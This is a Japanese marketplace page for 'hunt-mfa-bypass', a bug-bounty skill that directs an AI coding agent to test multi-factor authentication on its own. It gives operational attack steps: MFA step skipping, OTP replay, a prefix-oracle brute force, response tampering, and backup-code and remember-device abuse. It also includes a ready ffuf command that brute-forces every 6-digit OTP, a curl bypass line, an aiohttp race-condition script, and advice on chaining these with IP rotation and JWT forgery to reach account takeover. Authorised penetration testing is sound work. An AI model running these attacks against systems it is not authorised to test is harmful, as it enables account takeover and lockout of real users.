mcpField
H
hunt-mfa-bypass

hunt-mfa-bypass

github.com/elementalsoulsセキュリティ5.3k280 回インストール今日更新
リポジトリ

hunt-mfa-bypass について

hunt-mfa-bypassは、多要素認証フローの弱点を探すセキュリティテスト用スキルです。フローの省略、OTPの再利用、検証不備を優先して調べ、関連するバイパスパターンも扱います。

主な機能

  1. 01MFAフローのステップ省略テスト
  2. 02OTP再利用と検証動作の確認
  3. 03部分応答によるOTPオラクルの特定
  4. 04レート制限・競合状態・バックアップコードの検査
  5. 05関連するセキュリティスキルとの連携

活用シーン

  1. 01MFA前のセッションで保護データにアクセスできるか確認
  2. 02使用済みOTPが再度受け付けられるかテスト
  3. 03応答から正しいOTPプレフィックスが漏れるか評価
  4. 04バックアップコードの再利用とMFA検証の競合を調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-mfa-bypass

インストール後、Claude Code で/hunt-mfa-bypassを入力して読み込まれたか確認します。

詳細

自律テストの優先事項

総当たりより先にワークフローの回避を試してください。より速く、成功する可能性も高くなります。

パターン 1 — MFA のステップを完全にスキップする(最も自動化しやすい方法):

  1. 有効な認証情報でログインし、「MFA 前」のセッション状態を取得します
  2. MFA を完了せずに、保護されたリソース(/dashboard、/api/me、/account/profile)へ直接アクセスします
  3. レスポンスにユーザーデータが含まれている場合 → MFA はサーバー側ではなく UI でのみ強制されています = 重大

パターン 2 — OTP のリプレイ(使用済みコードの再利用):

  1. 有効な MFA フローを完了して、使用可能な OTP を取得します
  2. ログアウトし、同じ認証情報で再度ログインします
  3. 同じ OTP をもう一度送信します
  4. 受け入れられた場合 → OTP は使用後に無効化されていません

パターン 3 — 明らかに間違った OTP を送信し、レスポンスを確認する: 000000 や 123456 の送信を試してください。レスポンスが 200 である場合、またはセッショントークンが返される場合、OTP の検証が壊れているか、クライアント側でしか行われていません。

パターン 4 — 部分的/段階的な検証(プレフィックスオラクル): 推測したコード全体が拒否された場合、サーバーが OTP を一括で検証するのではなく、プレフィックスごとに検証しているかどうかをテストします。短い部分コードを送信し、レスポンスを比較します:

  1. 1~3 桁の値(例:otp=1、続けて otp=12、…)を送信します。POST の検証エンドポイントでは、コードは URL のクエリ文字列ではなく、リクエストボディに含めます。そうしないと、サーバーが空の値を読み取る可能性があります。
  2. 正しいプレフィックスと誤ったプレフィックスで、異なるレスポンス(成功/フラグ、異なるメッセージ、または長さ/タイミングの違い)が返される場合、検証機能はチャンクごとに正誤を漏らしています。
  3. コードを 1 桁ずつ調べます。「正しい」と応答したプレフィックスを残し、0~9 の数字を追加して繰り返します。これにより、10^6 回の総当たりが約 10×N 回の推測(6 桁コードなら ≤60 回)に減るため、制限時間のあるテストでも十分実行可能です。 コードが漏洩しておらず、スキップやリプレイの経路もない場合は、まずこの方法を試してください。アプリによっては正しいプレフィックスが 1 つでもあれば成功になるため(正しい最初の 1 桁だけで成功する場合もあります)、諦める前に otp=0,1,…,9 を一通り試してください。 重大 — 同じ 1 つのセッションを使い続けてください: 再認証(再度 POST /…/login を実行)すると OTP が再生成され、プレフィックスの進捗が失われます。確立済みの MFA セッション 1 つに対して一連の試行をすべて行い、推測の途中で再ログインしないでください。

全コードの総当たりについて: 10^6 通りすべてを総当たりするのは、制限時間のあるテストでは実行不可能です。ただし、上記のプレフィックスオラクル(パターン 4)を使えば、通常その必要はありません。レート制限がなく、キー空間が小さいことを示す証拠がある場合に限り、全コードの総当たりを試してください。

証明: MFA を完了せずにレスポンスにセッショントークンまたは保護されたリソースのデータが含まれていれば、バイパスが確認できます。


19. MFA/2FA のバイパス

増加しているバグの分類で、7 つの異なるパターンがあります。事前のセッションなしで ATO が可能になる場合、深刻度は高または重大です。

パターン 1:OTP のレート制限なし
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
  -X POST -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
パターン 2:使用後に OTP が無効化されない
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
パターン 3:レスポンスの改ざん
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
パターン 4:MFA ステップのスキップ(ワークフローのバイパス)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
パターン 5:MFA 検証時の競合状態
import asyncio, aiohttp

async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return r.status, await r.text()

async def race():
    cookies = {"session": "YOUR_SESSION"}
    async with aiohttp.ClientSession(cookies=cookies) as s:
        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
        # window before the server marks it used. Two requests are NOT enough —
        # they almost always resolve sequentially as "already-used" (false negative).
        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
        results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
        # Race confirmed if >1 success (or 1 success among many "already-used").
        for status, body in results:
            print(status, body)
asyncio.run(race())
パターン 6:バックアップコードの総当たり
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
パターン 7:「このデバイスを記憶する」による信頼レベルの昇格
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
MFA チェーンの昇格
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High

関連するスキルとチェーン

  • hunt-ato — MFA バイパスはプリミティブであり、ATO はその到達点です。チェーンのプリミティブ:Cookie の窃取(XSS またはセッション固定化を介する)+パスワードオラクル(ログイン応答の時間差/長さの差から、有効なパスワードをロックアウトなしで特定する)+パスワード変更エンドポイントで MFA による追加認証がない = OTP チャレンジに一度も直面することなく持続的な ATO が成立し、パスワードが変更され、攻撃者によって被害者が締め出されます。
  • hunt-race-condition — パターン 5(OTP の競合)は競合状態の領域に該当するため、両方のスキルを一緒に読み込んでください。チェーンのプリミティブ:同じ 6 桁の OTP を 20 個の並列 HTTP/2 ストリームで(Turbo Intruder によるシングルパケット攻撃)、サーバーが使用済みとしてマークする前に送信する → 1 件成功+19 件が「使用済み」→ 競合ウィンドウを確認 → 攻撃者はブルートフォースする必要はなく、1 回推測して並列化するだけ → ATO。
  • hunt-auth-bypass — MFA ステップのスキップは、ワークフローレイヤーでの認証フローバイパスです。チェーンのプリミティブ:パスワードステップ後に発行された MFA 前の Cookie + /mfa ルートをスキップして /dashboard へ直接移動 + サーバーは /mfa のみをミドルウェアで制御し、/dashboard は制御しない = パスワードのみの状態から認証後の完全なアクセスが可能になり、ルートの制御位置が誤っていたため MFA が一度も強制されません。
  • hunt-misc — /api/me 経由でのリカバリーコードのダンプはその他クラスの情報漏えいですが、チェーン化されると重大度は Critical になります。チェーンのプリミティブ:/api/me が backup_codes 配列を含むユーザーオブジェクト全体を返す(平文で、ローテーションされない)→ 任意の読み取り IDOR または XSS を持つ攻撃者がバックアップコードを外部へ持ち出す → バックアップコードを 1 つ使用する → MFA を通過する → OTP の知識なしで ATO が成立する。
  • security-arsenal — OTP ブルートフォースのペイロードセクション(000000-999999 のワードリストジェネレーター、-t 5 -p 0.5-2 を使った ffuf のレート制限回避パターン、proxychains による分散 IP ローテーション)と、JWT の「MFA 通過済み」クレームを偽造できる場合は JWT トークンリプレイの表を参照してください。
  • triage-validation — 攻撃者がすでにパスワードを知っている場合にのみ機能する MFA バイパスを Critical と判定する前に、Pre-Severity Gate を実行してください。単独の MFA バイパスは High、パスワードオラクルとのチェーンは Critical、Cookie 窃取のみとのチェーンも Critical です。このチェーンに関する問いによって、両者を区別できます。

コメント